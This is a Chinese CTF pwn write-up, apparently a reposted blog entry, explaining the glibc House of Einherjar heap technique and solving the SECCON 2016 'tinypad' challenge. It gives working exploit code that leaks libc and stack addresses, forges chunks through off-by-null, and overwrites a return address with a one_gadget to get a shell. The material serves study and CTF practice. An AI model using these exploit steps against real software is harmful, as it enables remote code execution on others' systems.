【PWN学习之House of 系列】House Of Einherjar

2024-01-01 23:04

本文主要是介绍【PWN学习之House of 系列】House Of Einherjar,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

写在前面

路线的学习一下 glibc 堆利用的 house of 系列利用手法。
主要参考以下文章以及文章中涉及的连接。
https://roderickchan.github.io/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation

简介

漏洞成因

溢出写、off by one、off by null

适用范围

  • 2.23—— 至今
  • 可分配大于处于 unsortedbin 的 chunk

利用原理

利用 off by null 修改掉 chunk 的 size 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping。

  1. 申请 chunk A、chunk B、chunk C、chunk D,chunk D 用来做隔离,chunk A、chunk C 都要处于 unsortedbin 范围
  2. 释放 A,进入 unsortedbin
  3. 对 B 写操作的时候存在 off by null,修改了 C 的 P 位
  4. 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
  5. 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头

利用效果

构造 chunk overlap 后,可以任意地址分配
结合其他方法进行任意地址读写

个人理解

  1. 绕过unlink检查会比较繁琐

例题讲解

题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/house-of-einherjar/2016_seccon_tinypad

检查保护

64位程序,Full RELRO表明程序got表不可写,未开启PIE,全局变量地址已知
在这里插入图片描述

分析程序流程

程序只允许最大同时有4个堆块且不超过0x100

read_until存在off by null的漏洞
在这里插入图片描述
free后,只是将size置为零,未将数组内的指针置为0,存在UAF漏洞
在这里插入图片描述
edit功能中没有对堆的长度做检查,这里存在堆溢出漏洞(不仅仅是off by null)由于size为0x100,我们堆溢出最多覆盖下一个堆的两个字节。
在这里插入图片描述

patch 程序

将程序patch为libc 2.23

漏洞利用

  1. 堆布局

    madd(1,0x40,b"a"*0x18)
    madd(2,0x40,payload)
    madd(3,0xf0,b"a"*0x18)
    madd(4,0x100,b"a"*0xff)
    

    在这里插入图片描述

  2. free chunk1、chunk2、chunk3
    注意顺序,因为堆存在页对齐,故chunk1的地址必定是0xxxxx000,存在\x00截断,所以泄漏不出来chunk1的地址

    mfree(2) # 
    mfree(1)
    mfree(3)
    p.recvuntil("INDEX: 1")
    p.recvuntil("CONTENT: ")
    heap_2_addr = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))
    p.recvuntil("INDEX: 3")
    p.recvuntil("CONTENT: ")
    libc_base = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))-0x3c3b78
    main_arena_88 = libc_base+0x3c3b78
    environ_addr = libc_base + libc.sym['__environ']
    system_addr = libc_base+ libc.sym['system']
    bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
    

    在这里插入图片描述

  3. 伪造offset
    因为libc2.23的unlink检查

    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
    malloc_printerr ("corrupted size vs. prev_size");
    // 检查 fd 和 bk 指针(双向链表完整性检查)
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    

    在这里插入图片描述
    其中 offset= chunk3-target
    由于存在\x00截断,所以offset需要倒着写

    heap_array = 0x602040
    target_addr = 0x602060
    offset = heap_2_addr - target_addr +0x50
    madd(1,0x48,b"a"*0x47)
    madd(2,0x48,b"b"*0x48)
    madd(3,0xf0,"c"*0xf0)
    payload = b"j"*0x48+p64(0x100)
    medit(2,payload) # 溢出清除preuse=0
    len_of_zero  =(16-len(str(hex(offset)))+2)//2
    for i in range(0,len_of_zero):medit(2,b"a"*(0x48-i)) 
    payload1 = b'j'*0x40 + p64(offset)
    medit(2,payload1) # 填写offset
    

    在这里插入图片描述

  4. 伪造target chunk

    payload = b"a"*0x20+b"a"*8+p64(0x101)+p64(target_addr)*2
    medit(1,payload)
    mfree(3)
    

    在这里插入图片描述
    我们的目标地址已经进入unsortedbin,但是该chunk的size太大还需要改回来
    在这里插入图片描述

    len_of_zero  =(16-len(str(hex(0x101)))+2)//2
    for i in range(0,len_of_zero):medit(1,b"d"*(0x30-i)) 
    payload2 = b"k"*0x20+b"a"*8+p64(0x101)
    medit(1,payload2)
    

    在这里插入图片描述

  5. 修改栈地址,get shell
    当我们再申请一个0xf8大小的堆块时,程序就会把tinypad+0x20处的地址返回给我们了。我们就可以修改从tinypad+0x20开始,0xf0大小的数据,tinypad+0x100处存储了第一个堆块的size和ptr,tinypad+0x110处存储了第二个堆块的size和ptr。这两个堆块的ptr我们已经可以进行修改了。
    由于malloc_hook处的值是0,我们无法通过edit的方式把onegadget写入malloc_hook(因为malloc_hook的strlen是0,无法读入数据)。那么我们就可以通过修改函数的返回地址为onegadget。
    修改函数的返回地址需要把程序保存返回地址的位置的值修改掉。我们需要泄露栈地址。libc中有一个符号’environ’存储了栈中的一个地址。我们可以利用它来得到栈地址。
    将chunk1的地址改成environ的地址,目的是通过show得到environ中的数据(一个栈地址)。将chunk2的地址改成保存chunk1的地址处的地址(0x602148),目的是方便修改chunk1的指针值。

    payload = b"a"*0xd0+b"b"*8+p64(environ_addr)+ p64(0x100) + p64(0x602148)
    # tinypad index2 存的是index1 的heap地址,如果edit2就相当于改了edit1的heap地址
    madd(3,0xf0,payload) # environ存储的栈地址读出来
    offset  = 0xf0 # 调试得来
    p.recvuntil("INDEX: 1")
    p.recvuntil("CONTENT: ")stack_addr = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))# 获取栈地址

    在这里插入图片描述

    
    stack_next_hop_addr = stack_addr - offset
    payload = p64(stack_next_hop_addr)
    log.info('heap_2_addr:0x%x'%(heap_2_addr))
    log.info('offset:0x%x'%(offset))
    log.info('environ_addr:0x%x'%(environ_addr))
    log.info('libc_addr:0x%x'%(libc_base))
    log.info('stack_addr:0x%x'%(stack_addr))
    log.info('stack_next_hop_addr:0x%x'%(stack_next_hop_addr))
    log.info('bin_sh_addr:0x%x'%(bin_sh_addr))medit(2,payload) #index1 的heap addr 改为栈上的地址
    onegadget_addr = libc_base+onegadget_array[0]
    payload = p64(onegadget_addr)
    medit(1,payload) # 通过edit1,将栈上的返回地址改成onegadget,getshell
    

    在这里插入图片描述
    将0x00007fffffffddb8指向的值改为 onegedget地址,getshell
    在这里插入图片描述

TODO

  • 在高版本glibc下的绕过unlink检查

这篇关于【PWN学习之House of 系列】House Of Einherjar的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/560738

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧

Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用"判断这段话的情感倾向:积极、消极还是中性"。 快速迭代:善于快速连续调整提示。熟练的提示工程师能够灵活地进行多轮优化。例:从"总结文章"到"用

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

【前端学习】AntV G6-08 深入图形与图形分组、自定义节点、节点动画(下)

【课程链接】 AntV G6:深入图形与图形分组、自定义节点、节点动画(下)_哔哩哔哩_bilibili 本章十吾老师讲解了一个复杂的自定义节点中,应该怎样去计算和绘制图形,如何给一个图形制作不间断的动画,以及在鼠标事件之后产生动画。(有点难,需要好好理解) <!DOCTYPE html><html><head><meta charset="UTF-8"><title>06

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合,内部除了存储元素外,还会存储一个score,存储在zset中的元素会按照score的大小升序排列,不同元素的score可以重复,score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]

科研绘图系列:R语言扩展物种堆积图(Extended Stacked Barplot)

介绍 R语言的扩展物种堆积图是一种数据可视化工具,它不仅展示了物种的堆积结果,还整合了不同样本分组之间的差异性分析结果。这种图形表示方法能够直观地比较不同物种在各个分组中的显著性差异,为研究者提供了一种有效的数据解读方式。 加载R包 knitr::opts_chunk$set(warning = F, message = F)library(tidyverse)library(phyl

【机器学习】高斯过程的基本概念和应用领域以及在python中的实例

引言 高斯过程(Gaussian Process,简称GP)是一种概率模型,用于描述一组随机变量的联合概率分布,其中任何一个有限维度的子集都具有高斯分布 文章目录 引言一、高斯过程1.1 基本定义1.1.1 随机过程1.1.2 高斯分布 1.2 高斯过程的特性1.2.1 联合高斯性1.2.2 均值函数1.2.3 协方差函数(或核函数) 1.3 核函数1.4 高斯过程回归(Gauss

【生成模型系列(初级)】嵌入(Embedding)方程——自然语言处理的数学灵魂【通俗理解】

【通俗理解】嵌入(Embedding)方程——自然语言处理的数学灵魂 关键词提炼 #嵌入方程 #自然语言处理 #词向量 #机器学习 #神经网络 #向量空间模型 #Siri #Google翻译 #AlexNet 第一节:嵌入方程的类比与核心概念【尽可能通俗】 嵌入方程可以被看作是自然语言处理中的“翻译机”,它将文本中的单词或短语转换成计算机能够理解的数学形式,即向量。 正如翻译机将一种语言

【学习笔记】 陈强-机器学习-Python-Ch15 人工神经网络(1)sklearn

系列文章目录 监督学习:参数方法 【学习笔记】 陈强-机器学习-Python-Ch4 线性回归 【学习笔记】 陈强-机器学习-Python-Ch5 逻辑回归 【课后题练习】 陈强-机器学习-Python-Ch5 逻辑回归(SAheart.csv) 【学习笔记】 陈强-机器学习-Python-Ch6 多项逻辑回归 【学习笔记 及 课后题练习】 陈强-机器学习-Python-Ch7 判别分析 【学